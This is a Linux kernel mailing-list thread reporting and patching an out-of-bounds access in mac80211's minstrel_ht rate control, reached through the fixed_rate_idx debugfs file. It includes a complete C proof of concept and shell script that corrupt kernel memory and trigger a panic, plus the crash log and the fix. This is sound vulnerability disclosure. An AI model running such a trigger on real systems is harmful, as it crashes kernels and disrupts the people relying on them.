Skip to contentSkip to conversation

wifi: mac80211: minstrel_ht: validate fixed rate index

PATCH New Yuqi Xu 1 participant 2 messages Sep 19

Subsystems (2)
lore
Share & tools
lore

Yuqi Xu

author
#0 lore raw

cover wifi: mac80211: minstrel_ht: validate fixed rate index

Hi Linux kernel maintainers,

We found and validated an issue in net/mac80211/rc80211_minstrel_ht.c. The reproducer below runs as root in the guest: the fixed_rate_idx file lives under a root-only debugfs mount, and the nl80211 IBSS commands used to drive rate control require CAP_NET_ADMIN. It is therefore not a privilege boundary; we still report it because the writable debugfs attribute lets an out-of-bounds access corrupt kernel memory.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

minstrel_ht_add_debugfs() exposes fixed_rate_idx as a plain u32 attribute, so any value can be written to it. minstrel_ht_update_stats() copies that value into mi->max_tp_rate[] and mi->max_prob_rate, which are u16 rate indexes; on the next rate table update minstrel_ht_set_rate() decodes it with MI_RATE_GROUP()/MI_RATE_IDX() and indexes minstrel_mcs_groups[] (42 entries) and mi->groups[].rates[] (10 entries).

Writing 65535, for example, decodes to group 4095 and rate index 15. minstrel_mcs_groups[4095] is read out of bounds, and mi->groups[4095].rates[15] is then dereferenced and updated as a struct minstrel_rate_stats (retry counts etc.), corrupting adjacent kernel memory. With CONFIG_UBSAN_BOUNDS the access is reported as "array-index-out-of-bounds in minstrel_ht_set_rate()".

The patch replaces the u32 attribute with a debugfs attribute that only accepts a rate index whose group is within minstrel_mcs_groups[] and whose rate is within MCS_GROUP_RATES, plus U32_MAX, which remains the value that disables fixed rate processing.

Reproducer:

cd /root
gcc -O2 -o poc poc.c
echo 65535 > /sys/kernel/debug/ieee80211/phy0/rc/fixed_rate_idx ./poc wlan0 wlan1

The PoC drives mac80211_hwsim through raw nl80211: it switches wlan0 and wlan1 to IBSS and joins both to the same cell, which reaches rate_control_rate_init() -> minstrel_ht_update_rates() -> minstrel_ht_set_rate() with the tainted fixed index.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU/KVM environment with CONFIG_MAC80211_HWSIM, CONFIG_UBSAN_BOUNDS and panic_on_warn=1.

packetdrill cannot drive the nl80211 IBSS setup required to reach minstrel_ht, so the PoC uses raw netlink. The crash log is raw dmesg output; the stack trace is already symbolized.

------BEGIN poc.c------

#define _GNU_SOURCE
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/nl80211.h>
#include <net/if.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif
#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN)) #endif
#ifndef NLA_NEXT

#define NLA_NEXT(nla, len) \
	((len) -= NLA_ALIGN((nla)->nla_len), \
	 (struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)))
#endif
#ifndef NLA_OK
#define NLA_OK(nla, len) \
	((len) >= (int)sizeof(struct nlattr) && \
	 (nla)->nla_len >= sizeof(struct nlattr) && \
	 (nla)->nla_len <= (len))

#endif

struct nl_ctx {
	int fd;
	uint32_t seq;
	uint32_t portid;
};
struct set_iftype_arg {
	uint32_t ifindex;
	uint32_t iftype;
};
struct join_ibss_arg {
	uint32_t ifindex;
	const char *ssid;
	uint32_t freq;
	uint8_t bssid[6];
};

static int nla_put(char *buf, size_t bufsize, int *msg_len,
uint16_t attrtype, const void *data, uint16_t datalen)

{
	int offset = NLMSG_ALIGN(*msg_len);
	int attr_len = NLA_HDRLEN + datalen;
	int new_len = offset + NLA_ALIGN(attr_len);
	struct nlattr *nla;

	if ((size_t)new_len > bufsize)
		return -EMSGSIZE;

	nla = (struct nlattr *)(buf + offset);
	nla->nla_type = attrtype;
	nla->nla_len = attr_len;
	if (datalen)
		memcpy((char *)nla + NLA_HDRLEN, data, datalen);
	memset((char *)nla + attr_len, 0, NLA_ALIGN(attr_len) - attr_len);

	*msg_len = new_len;
	return 0;
}

static int nla_put_flag(char *buf, size_t bufsize, int *msg_len, uint16_t attrtype)

{
	return nla_put(buf, bufsize, msg_len, attrtype, NULL, 0);
}

static int nl_open(struct nl_ctx *ctx)

{
	struct sockaddr_nl addr;
	socklen_t alen;

	memset(ctx, 0, sizeof(*ctx));
	ctx->fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
	if (ctx->fd < 0)
		return -errno;

	memset(&addr, 0, sizeof(addr));
	addr.nl_family = AF_NETLINK;

	if (bind(ctx->fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
		int err = -errno;
		close(ctx->fd);
		return err;
	}

	alen = sizeof(addr);
	if (getsockname(ctx->fd, (struct sockaddr *)&addr, &alen) == 0)
		ctx->portid = addr.nl_pid;

	return 0;
}

static int nl_send_recv(struct nl_ctx *ctx, const void *req, size_t req_len,
int (*cb)(struct nlmsghdr *, void *), void *cb_arg)

{
	struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = (void *)req, .iov_len = req_len };
	struct msghdr msg = {
		.msg_name = &nladdr,
		.msg_namelen = sizeof(nladdr),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	char buf[8192];
	int done = 0;

	if (sendmsg(ctx->fd, &msg, 0) < 0)
		return -errno;

	while (!done) {
		ssize_t len = recv(ctx->fd, buf, sizeof(buf), 0);
		struct nlmsghdr *nlh;

		if (len < 0) {
			if (errno == EINTR)
				continue;
			return -errno;
		}

		for (nlh = (struct nlmsghdr *)buf;
		     NLMSG_OK(nlh, (unsigned int)len);
		     nlh = NLMSG_NEXT(nlh, len)) {
			if (nlh->nlmsg_seq != ctx->seq)
				continue;

			if (nlh->nlmsg_type == NLMSG_ERROR) {
				struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(nlh);

				if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*e)))
					return -EINVAL;
				if (e->error)
					return e->error;
				return 0;
			}

			if (nlh->nlmsg_type == NLMSG_DONE)
				return 0;

			if (cb) {
				int r = cb(nlh, cb_arg);

				if (r)
					return r;
			}

			if (!(nlh->nlmsg_flags & NLM_F_MULTI))
				done = 1;
		}
	}

	return 0;
}

static int parse_family_id_cb(struct nlmsghdr *nlh, void *arg)

{
	struct genlmsghdr *ghdr;
	struct nlattr *nla;
	int len;
	uint16_t *family_id = arg;

	ghdr = (struct genlmsghdr *)NLMSG_DATA(nlh);
	len = nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*ghdr));
	nla = (struct nlattr *)((char *)ghdr + GENL_HDRLEN);

	while (NLA_OK(nla, len)) {
		if (nla->nla_type == CTRL_ATTR_FAMILY_ID &&
		    nla->nla_len >= NLA_HDRLEN + sizeof(uint16_t)) {
			memcpy(family_id, NLA_DATA(nla), sizeof(uint16_t));
			return 1;
		}
		nla = NLA_NEXT(nla, len);
	}

	return 0;
}

static int get_family_id(struct nl_ctx *ctx, const char *name)

{
	char buf[512];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct genlmsghdr *ghdr;
	uint16_t family_id = 0;
	int msg_len;
	int err;

	memset(buf, 0, sizeof(buf));
	nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
	nlh->nlmsg_type = GENL_ID_CTRL;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = ++ctx->seq;
	nlh->nlmsg_pid = ctx->portid;

	ghdr = (struct genlmsghdr *)NLMSG_DATA(nlh);
	ghdr->cmd = CTRL_CMD_GETFAMILY;
	ghdr->version = 1;

	msg_len = nlh->nlmsg_len;
	err = nla_put(buf, sizeof(buf), &msg_len, CTRL_ATTR_FAMILY_NAME,
		      name, (uint16_t)(strlen(name) + 1));
	if (err)
		return err;

	nlh->nlmsg_len = msg_len;
	err = nl_send_recv(ctx, buf, nlh->nlmsg_len, parse_family_id_cb, &family_id);
	if (err < 0)
		return err;
	if (!family_id)
		return -ENOENT;

	return family_id;
}

static int nl80211_cmd(struct nl_ctx *ctx, uint16_t family_id, uint8_t cmd,

		       int (*builder)(char *, size_t, int *, void *), void *arg)
{
	char buf[1024];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct genlmsghdr *ghdr;
	int msg_len;
	int err;

	memset(buf, 0, sizeof(buf));
	nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
	nlh->nlmsg_type = family_id;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = ++ctx->seq;
	nlh->nlmsg_pid = ctx->portid;

	ghdr = (struct genlmsghdr *)NLMSG_DATA(nlh);
	ghdr->cmd = cmd;
	ghdr->version = 0;

	msg_len = nlh->nlmsg_len;
	if (builder) {
		err = builder(buf, sizeof(buf), &msg_len, arg);
		if (err)
			return err;
	}

	nlh->nlmsg_len = msg_len;
	return nl_send_recv(ctx, buf, nlh->nlmsg_len, NULL, NULL);
}

static int build_set_iftype(char *buf, size_t buflen, int *msg_len, void *arg)

{
	struct set_iftype_arg *a = arg;
	int err;

	err = nla_put(buf, buflen, msg_len, NL80211_ATTR_IFINDEX,
		      &a->ifindex, sizeof(a->ifindex));
	if (err)
		return err;

	return nla_put(buf, buflen, msg_len, NL80211_ATTR_IFTYPE,
		       &a->iftype, sizeof(a->iftype));
}

static int build_join_ibss(char *buf, size_t buflen, int *msg_len, void *arg)

{
	struct join_ibss_arg *a = arg;
	uint32_t beacon_interval = 100;
	int err;

	err = nla_put(buf, buflen, msg_len, NL80211_ATTR_IFINDEX,
		      &a->ifindex, sizeof(a->ifindex));
	if (err)
		return err;

	err = nla_put(buf, buflen, msg_len, NL80211_ATTR_SSID,
		      a->ssid, (uint16_t)strlen(a->ssid));
	if (err)
		return err;

	err = nla_put(buf, buflen, msg_len, NL80211_ATTR_MAC,
		      a->bssid, sizeof(a->bssid));
	if (err)
		return err;

	err = nla_put(buf, buflen, msg_len, NL80211_ATTR_WIPHY_FREQ,
		      &a->freq, sizeof(a->freq));
	if (err)
		return err;

	err = nla_put(buf, buflen, msg_len, NL80211_ATTR_BEACON_INTERVAL,
		      &beacon_interval, sizeof(beacon_interval));
	if (err)
		return err;

	return nla_put_flag(buf, buflen, msg_len, NL80211_ATTR_FREQ_FIXED);
}

static int set_iftype_adhoc(struct nl_ctx *ctx, uint16_t family_id, const char *ifname)

{
	struct set_iftype_arg arg;
	int ifindex = if_nametoindex(ifname);

	if (!ifindex)
		return -errno;

	arg.ifindex = (uint32_t)ifindex;
	arg.iftype = NL80211_IFTYPE_ADHOC;
	return nl80211_cmd(ctx, family_id, NL80211_CMD_SET_INTERFACE,
			   build_set_iftype, &arg);
}

static int join_ibss(struct nl_ctx *ctx, uint16_t family_id, const char *ifname,
const char *ssid, uint32_t freq)

{
	struct join_ibss_arg arg;
	int ifindex = if_nametoindex(ifname);

	if (!ifindex)
		return -errno;

	arg.ifindex = (uint32_t)ifindex;
	arg.ssid = ssid;
	arg.freq = freq;
	arg.bssid[0] = 0x02;
	arg.bssid[1] = 0xaa;
	arg.bssid[2] = 0xbb;
	arg.bssid[3] = 0xcc;
	arg.bssid[4] = 0xdd;
	arg.bssid[5] = 0xee;

	return nl80211_cmd(ctx, family_id, NL80211_CMD_JOIN_IBSS,
			   build_join_ibss, &arg);
}

int main(int argc, char **argv)

{
	struct nl_ctx ctx;
	const char *if0 = "wlan0";
	const char *if1 = "wlan1";
	const char *ssid = "n4k-poc";
	uint32_t freq = 2412;
	char cmd[128];
	int family_id;
	int err;

	if (argc > 1)
		if0 = argv[1];
	if (argc > 2)
		if1 = argv[2];

	err = nl_open(&ctx);
	if (err) {
		fprintf(stderr, "nl_open: %s\n", strerror(-err));
		return 1;
	}

	family_id = get_family_id(&ctx, "nl80211");
	if (family_id < 0) {
		fprintf(stderr, "get_family_id: %s\n", strerror(-family_id));
		close(ctx.fd);
		return 1;
	}

	err = set_iftype_adhoc(&ctx, (uint16_t)family_id, if0);
	if (err) {
		fprintf(stderr, "set_iftype(%s): %s (%d)\n", if0, strerror(-err), err);
		close(ctx.fd);
		return 1;
	}

	err = set_iftype_adhoc(&ctx, (uint16_t)family_id, if1);
	if (err) {
		fprintf(stderr, "set_iftype(%s): %s (%d)\n", if1, strerror(-err), err);
		close(ctx.fd);
		return 1;
	}

	snprintf(cmd, sizeof(cmd), "ip link set %s up", if0);
	if (system(cmd) != 0) {
		fprintf(stderr, "failed to set %s up\n", if0);
		close(ctx.fd);
		return 1;
	}

	snprintf(cmd, sizeof(cmd), "ip link set %s up", if1);
	if (system(cmd) != 0) {
		fprintf(stderr, "failed to set %s up\n", if1);
		close(ctx.fd);
		return 1;
	}

	err = join_ibss(&ctx, (uint16_t)family_id, if0, ssid, freq);
	if (err) {
		fprintf(stderr, "join_ibss(%s): %s (%d)\n", if0, strerror(-err), err);
		close(ctx.fd);
		return 1;
	}

	err = join_ibss(&ctx, (uint16_t)family_id, if1, ssid, freq);
	if (err) {
		fprintf(stderr, "join_ibss(%s): %s (%d)\n", if1, strerror(-err), err);
		close(ctx.fd);
		return 1;
	}

	printf("IBSS join commands submitted. If fixed_rate_idx is invalid, kernel should crash shortly.\n");
	close(ctx.fd);
	return 0;
}

------END poc.c--------

------BEGIN poc.sh------

#!/bin/sh
set -eu

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) cd "$SCRIPT_DIR"

if [ "$(id -u)" -ne 0 ]; then
echo "Run as root (needs debugfs + nl80211 admin operations)." >&2 exit 1
fi

gcc -O2 -Wall -Wextra -o poc poc.c

ip link set wlan0 down || true
ip link set wlan1 down || true

echo 65535 > /sys/kernel/debug/ieee80211/phy0/rc/fixed_rate_idx

./poc wlan0 wlan1

sleep 5

------END poc.sh--------

-----BEGIN crash log-----

[    1.048940] ------------[ cut here ]------------
[    1.048944] UBSAN: array-index-out-of-bounds in /home/lucas/work/net-mrl-921/net/mac80211/rc80211_minstrel_ht.c:1446:54
[    1.048946] index 4095 is out of range for type 'mcs_group [42]'
[    1.048952] CPU: 1 UID: 0 PID: 46 Comm: kworker/u8:2 Not tainted 7.3.0-rc2-00458-gfefaac1176bf #1 PREEMPT(lazy) 
[    1.048956] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-10.fc44 06/10/2025
[    1.048960] Workqueue: events_unbound cfg80211_wiphy_work
[    1.048996] Call Trace:
[    1.049015]  <TASK>
[    1.049019]  dump_stack_lvl+0x4d/0x70
[    1.049046]  ubsan_epilogue+0x5/0x2b
[    1.049060]  __ubsan_handle_out_of_bounds.cold+0x4e/0x58
[    1.049063]  minstrel_ht_set_rate+0x57a/0x7d0
[    1.049081]  ? minstrel_ht_update_caps.isra.0+0x5ec/0x970
[    1.049084]  ? minstrel_ht_update_rates+0x3a/0x340
[    1.049086]  minstrel_ht_update_rates+0x76/0x340
[    1.049088]  rate_control_rate_init+0xc5/0x160
[    1.049104]  ieee80211_ibss_finish_sta+0xbb/0x160
[    1.049110]  ieee80211_ibss_work+0xda/0x480
[    1.049112]  ? update_load_avg+0x5c/0x330
[    1.049122]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.049126]  ? update_cfs_rq_load_avg+0x1a/0x240
[    1.049131]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.049133]  ? skb_dequeue+0x58/0x80
[    1.049147]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.049148]  ? ieee80211_iface_work+0x22c/0x540
[    1.049151]  cfg80211_wiphy_work+0xb5/0x170
[    1.049159]  process_one_work+0x19d/0x390
[    1.049174]  worker_thread+0x169/0x2d0
[    1.049176]  ? __pfx_worker_thread+0x10/0x10
[    1.049178]  kthread+0xe1/0x120
[    1.049186]  ? __pfx_kthread+0x10/0x10
[    1.049188]  ret_from_fork+0x196/0x260
[    1.049200]  ? __pfx_kthread+0x10/0x10
[    1.049202]  ? __pfx_kthread+0x10/0x10
[    1.049203]  ret_from_fork_asm+0x1a/0x30
[    1.049209]  </TASK>
[    1.049210] ---[ end trace ]---
[    1.049211] Kernel panic - not syncing: UBSAN: panic_on_warn set ...

-----END crash log-----

Best regards,
Yuqi Xu

Yuqi Xu (1):
wifi: mac80211: minstrel_ht: validate fixed rate index

 net/mac80211/rc80211_minstrel_ht.c | 30 ++++++++++++++++++++++++++++--
 1 file changed, 28 insertions(+), 2 deletions(-)

base-commit: fefaac1176bf3cf002a8dc83339d6ed6a369941a

Signature · 1 line
2.55.0
author
#1 lore raw

PATCH 1/1 wifi: mac80211: minstrel_ht: validate fixed rate index

The fixed_rate_idx debugfs file is a plain u32 attribute, so any value can be written to it. minstrel_ht_update_stats() then copies the value into mi->max_tp_rate[] and mi->max_prob_rate, and minstrel_ht_set_rate() uses MI_RATE_GROUP()/MI_RATE_IDX() to index minstrel_mcs_groups[] (42 entries) and mi->groups[].rates[] (10 entries) with it.

Writing e.g. 65535 selects group 4095 and rate index 15, far outside both arrays. The out-of-bounds entries are dereferenced and updated as struct minstrel_rate_stats (retry counts, etc.), so the invalid index corrupts adjacent kernel memory. With CONFIG_UBSAN_BOUNDS the access is reported as an array-index-out-of-bounds in minstrel_ht_set_rate().

Only a valid group/rate pair, or U32_MAX to disable fixed rate processing, can be used safely, so reject any other value when the debugfs file is written.

The file is only reachable through a root-only debugfs mount, so this is not a privilege boundary. The out-of-bounds access is still a bug that must not be reachable through a writable debugfs attribute.

Fixes 24f7580e852b ("minstrel_ht: fixed rate mode through debugfs")
Assisted-by LLM
---
 net/mac80211/rc80211_minstrel_ht.c | 30 ++++++++++++++++++++++++++++--
 1 file changed, 28 insertions(+), 2 deletions(-)
net/mac80211/rc80211_minstrel_ht.c +28 -2
index b73ef3adfcc5..c26221287515 100644
@@ -7,6 +7,7 @@
 #include <linux/types.h>
 #include <linux/skbuff.h>
 #include <linux/debugfs.h>
+#include <linux/limits.h>
 #include <linux/random.h>
 #include <linux/moduleparam.h>
 #include <linux/ieee80211.h>
@@ -1947,14 +1948,39 @@ minstrel_ht_alloc(struct ieee80211_hw *hw)
 }
 
 #ifdef CONFIG_MAC80211_DEBUGFS
+static int minstrel_ht_fixed_rate_idx_get(void *data, u64 *val)
+{
+	*val = *(u32 *)data;
+	return 0;
+}
+
+static int minstrel_ht_fixed_rate_idx_set(void *data, u64 val)
+{
+	u32 idx = val;
+
+	/* U32_MAX is the default and keeps fixed rate processing disabled */
+	if (val != U32_MAX &&
+	    (val > U16_MAX ||
+	     MI_RATE_GROUP(idx) >= ARRAY_SIZE(minstrel_mcs_groups) ||
+	     MI_RATE_IDX(idx) >= MCS_GROUP_RATES))
+		return -EINVAL;
+
+	*(u32 *)data = idx;
+	return 0;
+}
+
+DEFINE_DEBUGFS_ATTRIBUTE(minstrel_ht_fixed_rate_idx_fops,
+			 minstrel_ht_fixed_rate_idx_get,
+			 minstrel_ht_fixed_rate_idx_set, "%llu\n");
+
 static void minstrel_ht_add_debugfs(struct ieee80211_hw *hw, void *priv,
 				    struct dentry *debugfsdir)
 {
 	struct minstrel_priv *mp = priv;
 
 	mp->fixed_rate_idx = (u32) -1;
-	debugfs_create_u32("fixed_rate_idx", S_IRUGO | S_IWUGO, debugfsdir,
-			   &mp->fixed_rate_idx);
+	debugfs_create_file("fixed_rate_idx", S_IRUGO | S_IWUGO, debugfsdir,
+			    &mp->fixed_rate_idx, &minstrel_ht_fixed_rate_idx_fops);
 }
 #endif
 
Signature · 1 line
2.55.0